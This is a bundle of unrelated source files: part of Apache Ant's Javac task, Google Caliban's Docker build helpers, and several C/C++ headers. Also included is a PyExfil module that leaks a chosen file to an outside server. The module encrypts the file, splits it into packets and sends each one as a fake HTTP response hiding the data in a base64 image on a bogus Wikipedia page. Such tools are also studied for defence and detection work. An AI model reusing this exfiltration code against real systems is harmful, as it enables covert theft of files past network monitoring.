!destDir.isDirectory()) { throw new BuildException("destination directory \"" + destDir + "\" does not exist or is not a directory", getLocation()); } if (includeAntRuntime == null && getProject().getProperty(MagicNames.BUILD_SYSCLASSPATH) == null) { log(getLocation() + "warning: 'includeantruntime' was not set, defaulting to " + MagicNames.BUILD_SYSCLASSPATH + "=last; set to false for repeatable builds", Project.MSG_WARN); } } /** * Perform the compilation. * * @since Ant 1.5 */ protected void compile() { final String compilerImpl = getCompiler(); if (compileList.length > 0) { log("Compiling " + compileList.length + " source file" + (compileList.length == 1 ? "" : "s") + (destDir != null ? " to " + destDir : "")); if (listFiles) { for (File element : compileList) { log(element.getAbsolutePath()); } } final CompilerAdapter adapter = nestedAdapter != null ? nestedAdapter : CompilerAdapterFactory.getCompiler(compilerImpl, this, createCompilerClasspath()); // now we need to populate the compiler adapter adapter.setJavac(this); // finally, lets execute the compiler!! if (adapter.execute()) { // Success if (createMissingPackageInfoClass) { try { generateMissingPackageInfoClasses(destDir != null ? destDir : getProject() .resolveFile(src.list()[0])); } catch (final IOException x) { // Should this be made a nonfatal warning? throw new BuildException(x, getLocation()); } } } else { // Fail path this.taskSuccess = false; if (errorProperty != null) { getProject().setNewProperty( errorProperty, "true"); } if (failOnError) { throw new BuildException(FAIL_MSG, getLocation()); } log(FAIL_MSG, Project.MSG_ERR); } } } /** * Adds an "compiler" attribute to Commandline$Attribute used to * filter command line attributes based on the current * implementation. */ public class ImplementationSpecificArgument extends org.apache.tools.ant.util.facade.ImplementationSpecificArgument { /** * @param impl the name of the compiler */ public void setCompiler(final String impl) { super.setImplementation(impl); } } private void lookForPackageInfos(final File srcDir, final File[] newFiles) { for (File f : newFiles) { if (!"package-info.java".equals(f.getName())) { continue; } final String path = FILE_UTILS.removeLeadingPath(srcDir, f) .replace(File.separatorChar, '/'); final String suffix = "/package-info.java"; if (!path.endsWith(suffix)) { log("anomalous package-info.java path: " + path, Project.MSG_WARN); continue; } final String pkg = path.substring(0, path.length() - suffix.length()); packageInfos.put(pkg, f.lastModified()); } } /** * Ensure that every {@code package-info.java} produced a {@code package-info.class}. * Otherwise this task's up-to-date tracking mechanisms do not work. * @see <a href="https://issues.apache.org/bugzilla/show_bug.cgi?id=43114">Bug #43114</a> */ private void generateMissingPackageInfoClasses(final File dest) throws IOException { for (final Map.Entry<String, Long> entry : packageInfos.entrySet()) { final String pkg = entry.getKey(); final Long sourceLastMod = entry.getValue(); final File pkgBinDir = new File(dest, pkg.replace('/', File.separatorChar)); pkgBinDir.mkdirs(); final File pkgInfoClass = new File(pkgBinDir, "package-info.class"); if (pkgInfoClass.isFile() && pkgInfoClass.lastModified() >= sourceLastMod) { continue; } log("Creating empty " + pkgInfoClass); try (OutputStream os = Files.newOutputStream(pkgInfoClass.toPath())) { os.write(PACKAGE_INFO_CLASS_HEADER); final byte[] name = pkg.getBytes(StandardCharsets.UTF_8); final int length = name.length + /* "/package-info" */ 13; os.write((byte) length / 256); os.write((byte) length % 256); os.write(name); os.write(PACKAGE_INFO_CLASS_FOOTER); } } } /** * Checks if a path exists and is non empty. * @param path to be checked * @return true if the path is non <code>null</code> and non empty. * @since 1.9.7 */ private static boolean hasPath(final Path path) { return path != null && !path.isEmpty(); } /** * Resolves the modulesourcepath element possibly containing groups * and module marks to module names and source roots. * @param projectDir the project directory * @param element the modulesourcepath elemement * @return a mapping from module name to module source roots * @since 1.9.7 */ private static Map<String, Collection<File>> resolveModuleSourcePathElement( final File projectDir, final String element) { final Map<String, Collection<File>> result = new TreeMap<>(); for (CharSequence resolvedElement : expandGroups(element)) { findModules(projectDir, resolvedElement.toString(), result); } return result; } /** * Expands the groups in the modulesourcepath entry to alternatives. * <p> * The <code>'*'</code> is a token representing the name of any of the modules in the compilation module set. * The <code>'{' ... ',' ... '}'</code> express alternates for expansion. * An example of the modulesourcepath entry is <code>src/&#42;/{linux,share}/classes</code> * </p> * @param element the entry to expand groups in * @return the possible alternatives * @since 1.9.7 */ private static Collection<? extends CharSequence> expandGroups( final CharSequence element) { List<StringBuilder> result = new ArrayList<>(); result.add(new StringBuilder()); StringBuilder resolved = new StringBuilder(); for (int i = 0; i < element.length(); i++) { final char c = element.charAt(i); switch (c) { case GROUP_START_MARK: final int end = getGroupEndIndex(element, i); if (end < 0) { throw new BuildException(String.format( "Unclosed group %s, starting at: %d", element, i)); } final Collection<? extends CharSequence> parts = resolveGroup(element.subSequence(i + 1, end)); switch (parts.size()) { case 0: break; case 1: resolved.append(parts.iterator().next()); break; default: final List<StringBuilder> oldRes = result; result = new ArrayList<>(oldRes.size() * parts.size()); for (CharSequence part : parts) { for (CharSequence prefix : oldRes) { result.add(new StringBuilder(prefix).append(resolved).append(part)); } } resolved = new StringBuilder(); } i = end; break; default: resolved.append(c); } } for (StringBuilder prefix : result) { prefix.append(resolved); } return result; } /** * Resolves the group to alternatives. * @param group the group to resolve * @return the possible alternatives * @since 1.9.7 */ private static Collection<? extends CharSequence> resolveGroup(final CharSequence group) { final Collection<CharSequence> result = new ArrayList<>(); int start = 0; int depth = 0; for (int i = 0; i < group.length(); i++) { final char c = group.charAt(i); switch (c) { case GROUP_START_MARK: depth++; break; case GROUP_END_MARK: depth--; break; case GROUP_SEP_MARK: if (depth == 0) { result.addAll(expandGroups(group.subSequence(start, i))); start = i + 1; } break; } } result.addAll(expandGroups(group.subSequence(start, group.length()))); return result; } /** * Finds the index of an enclosing brace of the group. * @param element the element to find the enclosing brace in * @param start the index of the opening brace. * @return return the index of an enclosing brace of the group or -1 if not found * @since 1.9.7 */ private static int getGroupEndIndex( final CharSequence element, final int start) { int depth = 0; for (int i = start; i < element.length(); i++) { final char c = element.charAt(i); switch (c) { case GROUP_START_MARK: depth++; break; case GROUP_END_MARK: depth--; if (depth == 0) { return i; } break; } } return -1; } /** * Finds modules in the expanded modulesourcepath entry. * @param root the project root * @param pattern the expanded modulesourcepath entry * @param collector the map to put modules into * @since 1.9.7 */ private static void findModules( final File root, String pattern, final Map<String, Collection<File>> collector) { pattern = pattern .replace('/', File.separatorChar) .replace('\\', File.separatorChar); final int startIndex = pattern.indexOf(MODULE_MARKER); if (startIndex == -1) { findModules(root, pattern, null, collector); return; } if (startIndex == 0) { throw new BuildException("The modulesourcepath entry must be a folder."); } final int endIndex = startIndex + MODULE_MARKER.length(); if (pattern.charAt(startIndex - 1) != File.separatorChar) { throw new BuildException("The module mark must be preceded by separator"); } if (endIndex < pattern.length() && pattern.charAt(endIndex) != File.separatorChar) { throw new BuildException("The module mark must be followed by separator"); } if (pattern.indexOf(MODULE_MARKER, endIndex) != -1) { throw new BuildException("The modulesourcepath entry must contain at most one module mark"); } final String pathToModule = pattern.substring(0, startIndex); final String pathInModule = endIndex == pattern.length() ? null : pattern.substring(endIndex + 1); //+1 the separator findModules(root, pathToModule, pathInModule, collector); } /** * Finds modules in the expanded modulesourcepath entry. * @param root the project root * @param pathToModule the path to modules folder * @param pathInModule the path in module to source folder * @param collector the map to put modules into * @since 1.9.7 */ private static void findModules( final File root, final String pathToModule, final String pathInModule, final Map<String,Collection<File>> collector) { final File f = FileUtils.getFileUtils().resolveFile(root, pathToModule); if (!f.isDirectory()) { return; } for (File module : f.listFiles(File::isDirectory)) { final String moduleName = module.getName(); final File moduleSourceRoot = pathInModule == null ? module : new File(module, pathInModule); Collection<File> moduleRoots = collector.computeIfAbsent(moduleName, k -> new ArrayList<>()); moduleRoots.add(moduleSourceRoot); } } private static final byte[] PACKAGE_INFO_CLASS_HEADER = { (byte) 0xca, (byte) 0xfe, (byte) 0xba, (byte) 0xbe, 0x00, 0x00, 0x00, 0x31, 0x00, 0x07, 0x07, 0x00, 0x05, 0x07, 0x00, 0x06, 0x01, 0x00, 0x0a, 0x53, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x01, 0x00, 0x11, 0x70, 0x61, 0x63, 0x6b, 0x61, 0x67, 0x65, 0x2d, 0x69, 0x6e, 0x66, 0x6f, 0x2e, 0x6a, 0x61, 0x76, 0x61, 0x01 }; private static final byte[] PACKAGE_INFO_CLASS_FOOTER = { 0x2f, 0x70, 0x61, 0x63, 0x6b, 0x61, 0x67, 0x65, 0x2d, 0x69, 0x6e, 0x66, 0x6f, 0x01, 0x00, 0x10, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x02, 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x03, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04 }; }
22,776
603
#!/usr/bin/env python import sys import time import pytz import socket import datetime from pyexfil.includes.prepare import PrepFile, DecodePacket, RebuildFile, DEFAULT_KEY # Dev Zone VEDGLAF = False # Globals DEFAULT_TIMEOUT = 5 HTTP_RESPONSE_HEADER = """HTTP/1.1 200 OK Date: TIME Server: Apache/2.2.14 (Win32) Last-Modified: Thu, 20 Sep 2018 19:15:56 ICT Content-Length: LEN Content-Type: text/html Connection: Closed """ BODY = """ <html> <head><title>Wikipedia | Aloha!</title></head> <body> <div> <p>Taken from Wikpedia</p> <img src="data:image/png;base64, B64" alt="Red dot COUNTER_LEN" /> </div> </body> </html>\r\n\r\n""" class Assemble(): def __init__(self, key=DEFAULT_KEY): self.counter = 0 self.packets = [] self.key = key def _append(self, data): if "/png;base64, " not in data: return False start = data.find("/png;base64, ") + len("/png;base64, ") end = data.find("\" alt=\"Red") if end is 0 or start is 0: return False self.packets.append(data[start:end]) self.counter += 1 print(self.counter) return True def Build(self): decodedPckts = [] for pckt in self.packets: print(pckt) decodedPckt = DecodePacket(pckt, enc_key=self.key, b64_flag=True) if decodedPckt is not False: decodedPckts.append(decodedPckt) else: sys.stderr.write("Error decoding packet at index %s." % self.packets.index(pckt)) continue print(RebuildFile(decodedPckts)) class Broadcast(): def __init__(self, dst_ip, dst_port, fname, max_size=1024, key=DEFAULT_KEY): """ Broadcast data out. :param dst_ip: Outgoing server IP [str] :param dst_port: Port of server [int] :param fname: File name to leak [str] :param max_size: Maximum size of each packet [1024, int] :param key: Key to use for encryption [str] :return: None """ self.packets = [] self.IP = dst_ip self.PORT = dst_port self.PF = PrepFile(file_path=fname, kind="ascii", max_size=max_size, enc_key=key) if self.PF is False: raise Exception("Cannot read file") self._buildPackets() def _buildPackets(self): total = len(self.PF['Packets']) for i in range(0, len(self.PF['Packets'])): h = HTTP_RESPONSE_HEADER.replace("TIME", (datetime.datetime.now().strftime("%a, %d %b %Y %H:%M:%S GMT"))) b = BODY.replace("COUNT", str(i)) b = b.replace("B64", self.PF['Packets'][i]) b = b.replace("LEN", str(total)) h = h.replace("COUNTER", str(i)) h = h.replace("LEN", str(len(b))) self.packets.append(h+b) return True def _sendSinglePacket(self, index): s = socket.socket() s.settimeout(DEFAULT_TIMEOUT) try: s.connect((self.IP, self.PORT)) except socket.error as e: sys.stderr.write(str(e)) return False s.send(self.PF['Packets'][index]) s.close() return True def Exfiltrate(self): check = 0 for i in range(0, len(self.packets)): if VEDGLAF: f = True else: f = self._sendSinglePacket(i) if f is False: f = self._sendSinglePacket(i) if f is False: sys.stderr.write("Error sending packet index %s.\n" % i) continue check += 1 continue else: check += 1 continue if check == len(self.packets): sys.stdout.write("Finished sending %s packets.\n" % check) else: sys.stderr.write("Sent %s out of %s.\n" % (check, len(self.packets)))
1,436
425
<filename>caliban/docker/build.py #!/usr/bin/python # # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Functions required to interact with Docker to build and run images, shells and notebooks in a Docker environment. """ from __future__ import absolute_import, division, print_function import json import os import subprocess from enum import Enum from pathlib import Path from typing import Any, Dict, List, NamedTuple, NewType, Optional, Union from absl import logging from blessings import Terminal import caliban.config as c import caliban.util as u import caliban.util.fs as ufs import caliban.util.metrics as um t = Terminal() DEV_CONTAINER_ROOT = "gcr.io/blueshift-playground/blueshift" DEFAULT_GPU_TAG = "gpu-ubuntu1804-py37-cuda101" DEFAULT_CPU_TAG = "cpu-ubuntu1804-py37" TF_VERSIONS = {"2.2.0", "1.12.3", "1.14.0", "1.15.0"} DEFAULT_WORKDIR = "/usr/app" CREDS_DIR = "/.creds" RESOURCE_DIR = "/.resources" CONDA_BIN = "/opt/conda/bin/conda" ImageId = NewType('ImageId', str) ArgSeq = NewType('ArgSeq', List[str]) class DockerError(Exception): """Exception that passes info on a failed Docker command.""" def __init__(self, message, cmd, ret_code): super().__init__(message) self.message = message self.cmd = cmd self.ret_code = ret_code @property def command(self): return " ".join(self.cmd) class NotebookInstall(Enum): """Flag to decide what to do .""" none = 'none' lab = 'lab' jupyter = 'jupyter' def __str__(self) -> str: return self.value class Shell(Enum): """Add new shells here and below, in SHELL_DICT.""" bash = 'bash' zsh = 'zsh' def __str__(self) -> str: return self.value # Tuple to track the information required to install and execute some custom # shell into a container. ShellData = NamedTuple("ShellData", [("executable", str), ("packages", List[str])]) def apt_install(*packages: str) -> str: """Returns a command that will install the supplied list of packages without requiring confirmation or any user interaction. """ package_str = ' '.join(packages) no_prompt = "DEBIAN_FRONTEND=noninteractive" return f"{no_prompt} apt-get install --yes --no-install-recommends {package_str}" def apt_command(commands: List[str]) -> List[str]: """Pre-and-ap-pends the supplied commands with the appropriate in-container and cleanup command for aptitude. """ update = ["apt-get update"] cleanup = ["apt-get clean", "rm -rf /var/lib/apt/lists/*"] return update + commands + cleanup def copy_command(user_id: int, user_group: int, from_path: str, to_path: str, comment: Optional[str] = None) -> str: """Generates a Dockerfile entry that will copy the file at the directory-local from_path into the container at to_path. If you supply a relative path, Docker will copy the file into the current working directory, where it will be overwritten in any interactive mode. We recommend using an absolute path! """ cmd = f"COPY --chown={user_id}:{user_group} {from_path} {to_path}\n" if comment is not None: comment_s = "\n# ".join(comment.split("\n")) return f"# {comment_s}\n{cmd}" return cmd # Dict linking a particular supported shell to the data required to run and # install the shell inside a container. # # : Dict[Shell, ShellData] SHELL_DICT = { Shell.bash: ShellData("/bin/bash", []), Shell.zsh: ShellData("/bin/zsh", ["zsh"]) } def default_shell() -> Shell: """Returns the shell to load into the container. Defaults to Shell.bash, but if the user's SHELL variable refers to a supported sub-shell, returns that instead. """ ret = Shell.bash if "zsh" in os.environ.get("SHELL"): ret = Shell.zsh return ret def adc_location(home_dir: Optional[str] = None) -> str: """Returns the location for application default credentials, INSIDE the container (so, hardcoded unix separators), given the supplied home directory. """ if home_dir is None: home_dir = Path.home() return "{}/.config/gcloud/application_default_credentials.json".format( home_dir) def container_home(): """Returns the location of the home directory inside the generated container. """ return "/home/{}".format(u.current_user()) def tf_base_image(job_mode: c.JobMode, tensorflow_version: str) -> str: """Returns the base image to use, depending on whether or not we're using a GPU. This is JUST for building our base images for Blueshift; not for actually using in a job. List of available tags: https://hub.docker.com/r/tensorflow/tensorflow/tags """ if tensorflow_version not in TF_VERSIONS: raise Exception("""{} is not a valid tensorflow version. Try one of: {}""".format(tensorflow_version, TF_VERSIONS)) gpu = "-gpu" if c.gpu(job_mode) else "" return "tensorflow/tensorflow:{}{}-py3".format(tensorflow_version, gpu) def base_image_suffix(job_mode: c.JobMode) -> str: return DEFAULT_GPU_TAG if c.gpu(job_mode) else DEFAULT_CPU_TAG def base_image_id(job_mode: c.JobMode) -> str: """Returns the default base image for all caliban Dockerfiles.""" base_suffix = base_image_suffix(job_mode) return f"{DEV_CONTAINER_ROOT}:{base_suffix}" def extras_string(extras: List[str]) -> str: """Returns the argument passed to `pip install` to install a project from its setup.py and target a specific set of extras_require dependencies. Args: extras: (potentially empty) list of extra_requires deps. """ ret = "." if len(extras) > 0: ret += "[{}]".format(','.join(extras)) return ret def base_extras(job_mode: c.JobMode, path: str, extras: Optional[List[str]]) -> Optional[List[str]]: """Returns None if the supplied path doesn't exist (it's assumed it points to a setup.py file). If the path DOES exist, generates a list of extras to install. gpu or cpu are always added to the beginning of the list, depending on the mode. """ ret = None if os.path.exists(path): base = extras or [] extra = 'gpu' if c.gpu(job_mode) else 'cpu' ret = base if extra in base else [extra] + base return ret def _dependency_entries(workdir: str, user_id: int, user_group: int, requirements_path: Optional[str] = None, conda_env_path: Optional[str] = None, setup_extras: Optional[List[str]] = None) -> str: """Returns the Dockerfile entries required to install dependencies from either: - a requirements.txt file, path supplied by requirements_path - a conda environment.yml file, path supplied by conda_env_path. - a setup.py file, if some sequence of dependencies is supplied. An empty list for setup_extras means, run `pip install -c .` with no extras. None for this argument means do nothing. If a list of strings is supplied, they'll be treated as extras dependency sets. """ ret = "" def copy(from_path, to_path): return copy_command(user_id, user_group, from_path, to_path) if setup_extras is not None: ret += f""" {copy("setup.py", workdir)} RUN /bin/bash -c "pip install --no-cache-dir {extras_string(setup_extras)}" """ if conda_env_path is not None: ret += f""" {copy(conda_env_path, workdir)} RUN /bin/bash -c "{CONDA_BIN} env update \ --quiet --name caliban \ --file {conda_env_path} && \ {CONDA_BIN} clean -y -q --all" """ if requirements_path is not None: ret += f""" {copy(requirements_path, workdir)} RUN /bin/bash -c "pip install --no-cache-dir -r {requirements_path}" """ return ret def _cloud_sql_proxy_entry( user_id: int, user_group: int, caliban_config: Optional[Dict[str, Any]] = None, ) -> str: """returns dockerfile entry to fetch cloud_sql_proxy, installing in /usr/bin. Args: user_id: id of non-root user user_group: id of non-root group for user caliban_config: dictionary of caliban configuration options Returns: string with Dockerfile directives to install cloud_sql_proxy as root and reset the user to the specified user_id:user_group. """ caliban_config = caliban_config or {} mlflow_cfg = caliban_config.get('mlflow_config') if mlflow_cfg is None: return "" return f""" USER root RUN wget \ -q https://dl.google.com/cloudsql/cloud_sql_proxy.linux.amd64 \ -O /usr/bin/cloud_sql_proxy \ && chmod 755 /usr/bin/cloud_sql_proxy USER {user_id}:{user_group} """ def _generate_entrypoint(executable: str) -> str: """generates dockerfile entry to set the container entrypoint. Args: executable: string of main executable Returns: string with Dockerfile directives to set ENTRYPOINT """ launcher_cmd = json.dumps([ 'python', os.path.join(RESOURCE_DIR, um.LAUNCHER_SCRIPT), '--caliban_command', executable ]) return f""" ENTRYPOINT {launcher_cmd} """ def _package_entries( workdir: str, user_id: int, user_group: int, package: u.Package, caliban_config: Optional[Dict[str, Any]] = None, ) -> str: """Returns the Dockerfile entries required to: - copy a directory of code into a docker container - inject an entrypoint that executes a python module inside that directory. Python code runs as modules vs scripts so that we can enforce import hygiene between files inside a project. """ caliban_config = caliban_config or {} arg = package.main_module or package.script_path package_path = package.package_path sql_proxy_code = _cloud_sql_proxy_entry(user_id, user_group, caliban_config=caliban_config) copy_code = copy_command( user_id, user_group, package_path, f"{workdir}/{package_path}", comment="Copy project code into the docker container.") # This needs to use json so that quotes print as double quotes, not single # quotes. executable_s = json.dumps(package.executable + [arg]) entrypoint_code = _generate_entrypoint(executable_s) return f""" {sql_proxy_code} {copy_code} {entrypoint_code} """ def _service_account_entry(user_id: int, user_group: int, credentials_path: str, docker_credentials_dir: str, write_adc_placeholder: bool): """Generates the Dockerfile entries required to transfer a set of Cloud service account credentials into the Docker container. NOTE the write_adc_placeholder variable is here because the "ctpu" script that we use to interact with TPUs has a bug in it, as of 1/21/2020, where the script will fail if the application_default_credentials.json file isn't present, EVEN THOUGH it properly uses the service account credentials registered with gcloud instead of ADC creds. If a service account is present, we write a placeholder string to get past this problem. This shouldn't matter for anyone else since adc isn't used if a service account is present. """ container_creds = f"{docker_credentials_dir}/credentials.json" ret = f""" {copy_command(user_id, user_group, credentials_path, container_creds)} # Use the credentials file to activate gcloud, gsutil inside the container. RUN gcloud auth activate-service-account --key-file={container_creds} && \ git config --global credential.'https://source.developers.google.com'.helper gcloud.sh ENV GOOGLE_APPLICATION_CREDENTIALS={container_creds} """ if write_adc_placeholder: ret += f""" RUN echo "placeholder" >> {adc_location(container_home())} """ return ret def _adc_entry(user_id: int, user_group: int, adc_path: str): """Returns the Dockerfile line required to transfer the application_default_credentials.json file into the container's home directory. """ return copy_command(user_id, user_group, adc_path, adc_location(container_home())) def _credentials_entries(user_id: int, user_group: int, adc_path: Optional[str], credentials_path: Optional[str], docker_credentials_dir: Optional[str] = None) -> str: """Returns the Dockerfile entries necessary to copy a user's Cloud credentials into the Docker container. - adc_path is the relative path inside the current directory to an application_default_credentials.json file containing... well, you get it. - credentials_path is the relative path inside the current directory to a JSON credentials file. - docker_credentials_dir is the relative path inside the docker container where the JSON file will be copied on build. """ if docker_credentials_dir is None: docker_credentials_dir = CREDS_DIR ret = "" if credentials_path is not None: ret += _service_account_entry(user_id, user_group, credentials_path, docker_credentials_dir, write_adc_placeholder=adc_path is None) if adc_path is not None: ret += _adc_entry(user_id, user_group, adc_path) return ret def _notebook_entries(lab: bool = False, version: Optional[str] = None) -> str: """Returns the Dockerfile entries necessary to install Jupyter{lab}. Optionally takes a version string. """ version_suffix = "" if version is not None: version_suffix = "=={}".format(version) library = "jupyterlab" if lab else "jupyter" return """ RUN pip install {}{} """.format(library, version_suffix) def _custom_packages( user_id: int, user_group: int, packages: Optional[List[str]] = None, shell: Optional[Shell] = None, ) -> str: """Returns the Dockerfile entries necessary to install custom dependencies for the supplied shell and sequence of aptitude packages. """ if packages is None: packages = [] if shell is None: shell = Shell.bash ret = "" to_install = sorted(packages + SHELL_DICT[shell].packages) if len(to_install) != 0: commands = apt_command([apt_install(*to_install)]) ret = """ USER root RUN {commands} USER {user_id}:{user_group} """.format_map({ "commands": " && ".join(commands), "user_id": user_id, "user_group": user_group }) return ret def _copy_dir_entry(workdir: str, user_id: int, user_group: int, dirname: str) -> str: """Returns the Dockerfile entry necessary to copy a single extra subdirectory from the current directory into a docker container during build. """ return copy_command(user_id, user_group, dirname, f"{workdir}/{dirname}", comment=f"Copy {dirname} into the Docker container.") def _extra_dir_entries(workdir: str, user_id: int, user_group: int, extra_dirs: Optional[List[str]] = None) -> str: """Returns the Dockerfile entries necessary to copy all directories in the extra_dirs list into a docker container during build. """ if extra_dirs is None: return "" def copy(d): return _copy_dir_entry(workdir, user_id, user_group, d) return "\n\n".join(map(copy, extra_dirs)) + "\n" def _resource_entries(uid: int, gid: int, resource_files: Optional[List[str]] = None, resource_dir: str = RESOURCE_DIR) -> str: """Returns Dockerfile entries necessary to copy miscellaneous resource files into container. Usually these files are staged in the working directory, so that Docker's build context can access them. Args: uid: user id in container for files gid: user group id in container for files resource_files: list of files to copy resource_dir: destination for resource files Returns: a string to append to a Dockerfile containing COPY commands that will copy those resources into a built container. """ if resource_files is None: return "" def copy(path): return copy_command(uid, gid, path, resource_dir) return "\n\n".join(map(copy, resource_files)) + "\n" def _dockerfile_template( job_mode: c.JobMode, workdir: Optional[str] = None, package: Optional[Union[List, u.Package]] = None, requirements_path: Optional[str] = None, conda_env_path: Optional[str] = None, setup_extras: Optional[List[str]] = None, adc_path: Optional[str] = None, credentials_path: Optional[str] = None, jupyter_version: Optional[str] = None, inject_notebook: NotebookInstall = NotebookInstall.none, shell: Optional[Shell] = None, extra_dirs: Optional[List[str]] = None, resource_files: Optional[List[str]] = None, caliban_config: Optional[Dict[str, Any]] = None) -> str: """Returns a Dockerfile that builds on a local CPU or GPU base image (depending on the value of job_mode) to create a container that: - installs any dependency specified in a requirements.txt file living at requirements_path, a conda environment at conda_env_path, or any dependencies in a setup.py file, including extra dependencies, if setup_extras isn't None - injects gcloud credentials into the container, so Cloud interaction works just like it does locally - potentially installs a custom shell, or jupyterlab for notebook support - copies all source needed by the main module specified by package, and potentially injects an entrypoint that, on run, will run that main module Most functions that call _dockerfile_template pass along any kwargs that they receive. It should be enough to add kwargs here, then rely on that mechanism to pass them along, vs adding kwargs all the way down the call chain. """ uid = os.getuid() gid = os.getgid() username = u.current_user() if isinstance(package, list): package = u.Package(*package) if workdir is None: workdir = DEFAULT_WORKDIR base_image = c.base_image(caliban_config, job_mode) or base_image_id(job_mode) c_home = container_home() dockerfile = f""" FROM {base_image} # Create the same group we're using on the host machine. RUN [ $(getent group {gid}) ] || groupadd --gid {gid} {gid} # Create the user by name. --no-log-init guards against a crash with large user # IDs. RUN useradd --no-log-init --no-create-home -u {uid} -g {gid} --shell /bin/bash {username} # The directory is created by root. This sets permissions so that any user can # access the folder. RUN mkdir -m 777 {workdir} {CREDS_DIR} {RESOURCE_DIR} {c_home} ENV HOME={c_home} WORKDIR {workdir} USER {uid}:{gid} """ dockerfile += _credentials_entries(uid, gid, adc_path=adc_path, credentials_path=credentials_path) dockerfile += _custom_packages(uid, gid, packages=c.apt_packages( caliban_config, job_mode), shell=shell) dockerfile += _dependency_entries(workdir, uid, gid, requirements_path=requirements_path, conda_env_path=conda_env_path, setup_extras=setup_extras) if inject_notebook.value != 'none': install_lab = inject_notebook == NotebookInstall.lab dockerfile += _notebook_entries(lab=install_lab, version=jupyter_version) dockerfile += _extra_dir_entries(workdir, uid, gid, extra_dirs) dockerfile += _resource_entries(uid, gid, resource_files) if package is not None: # The actual entrypoint and final copied code. dockerfile += _package_entries(workdir, uid, gid, package, caliban_config) return dockerfile def docker_image_id(output: str) -> ImageId: """Accepts a string containing the output of a successful `docker build` command and parses the Docker image ID from the stream. NOTE this is probably quite brittle! I can imagine this breaking quite easily on a Docker upgrade. """ return ImageId(output.splitlines()[-1].split()[-1]) def build_image(job_mode: c.JobMode, build_path: str, credentials_path: Optional[str] = None, adc_path: Optional[str] = None, no_cache: bool = False, **kwargs) -> str: """Builds a Docker image by generating a Dockerfile and passing it to `docker build` via stdin. All output from the `docker build` process prints to stdout. Returns the image ID of the new docker container; if the command fails, throws on error with information about the command and any issues that caused the problem. """ caliban_config = kwargs.get('caliban_config', {}) # Paths for resource files. sql_proxy_path = um.cloud_sql_proxy_path() launcher_path = um.launcher_path() with ufs.TempCopy({ credentials_path: ".caliban_default_creds.json", adc_path: ".caliban_adc_creds.json", sql_proxy_path: um.CLOUD_SQL_WRAPPER_SCRIPT, launcher_path: um.LAUNCHER_SCRIPT, }) as creds: # generate our launcher configuration file with um.launcher_config_file( path='.', caliban_config=caliban_config) as launcher_config: cache_args = ["--no-cache"] if no_cache else [] cmd = ["docker", "build"] + cache_args + ["--rm", "-f-", build_path] dockerfile = _dockerfile_template( job_mode, credentials_path=creds.get(credentials_path), adc_path=creds.get(adc_path), resource_files=[ creds.get(sql_proxy_path), creds.get(launcher_path), launcher_config, ], **kwargs) joined_cmd = " ".join(cmd) logging.info("Running command: {}".format(joined_cmd)) try: output, ret_code = ufs.capture_stdout(cmd, input_str=dockerfile) if ret_code == 0: return docker_image_id(output) else: error_msg = "Docker failed with error code {}.".format(ret_code) raise DockerError(error_msg, cmd, ret_code) except subprocess.CalledProcessError as e: logging.error(e.output) logging.error(e.stderr)
8,582
302
#ifndef DATABASEADMINEDITGROUP_H #define DATABASEADMINEDITGROUP_H #include <QDialog> namespace Ui { class DatabaseAdminEditGroup; } class DatabaseAdminEditGroup : public QDialog { Q_OBJECT public: explicit DatabaseAdminEditGroup(QWidget *parent = 0); ~DatabaseAdminEditGroup(); void SetName(const QString& Name); void SetDescription(const QString& Description); QString GetName(); QString GetDescription(); private: Ui::DatabaseAdminEditGroup *ui; }; #endif // DATABASEADMINEDITGROUP_H
184
575
// Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef COMPONENTS_AUTOFILL_CORE_BROWSER_PAYMENTS_AUTOFILL_SAVE_CARD_INFOBAR_MOBILE_H_ #define COMPONENTS_AUTOFILL_CORE_BROWSER_PAYMENTS_AUTOFILL_SAVE_CARD_INFOBAR_MOBILE_H_ #include <memory> #include "components/signin/public/identity_manager/account_info.h" namespace infobars { class InfoBar; } namespace autofill { class AutofillSaveCardInfoBarDelegateMobile; // Creates an Infobar for saving a credit card on a mobile device. If // AccountInfo contains the user's data, an account indication footer will be // shown at the bottom of the Infobar. std::unique_ptr<infobars::InfoBar> CreateSaveCardInfoBarMobile( std::unique_ptr<AutofillSaveCardInfoBarDelegateMobile> delegate, base::Optional<AccountInfo> accountInfo); } // namespace autofill #endif // COMPONENTS_AUTOFILL_CORE_BROWSER_PAYMENTS_AUTOFILL_SAVE_CARD_INFOBAR_MOBILE_H_
355
4,538
/* * Copyright (C) 2015-2021 Alibaba Group Holding Limited */ #ifndef _DEVICEVFS_RPC_H_ #define _DEVICEVFS_RPC_H_ /** * * open RPC message handler, called when OPEN rpc message arrived in main rpc service's handler * * @param parg - pointer to u_fops_arg_u * @param crpc_handle - rpc client's handle, * response should be send to rpc client no matter this operation succeed or not * * @return 0 for success; negative for failure */ int u_device_rpc_open(u_fops_arg_u *parg, int crpc_handle); /** * close RPC message handler, called when CLOSE rpc message arrived in main rpc service's handler * * @param parg - pointer to u_fops_arg_u * @param crpc_handle - rpc client's handle, * response should be send to rpc client no matter this operation succeed or not * * @return 0 for success; negative for failure */ int u_device_rpc_close(u_fops_arg_u *parg, int crpc_handle); #endif //_DEVICEVFS_RPC_H_
306
529
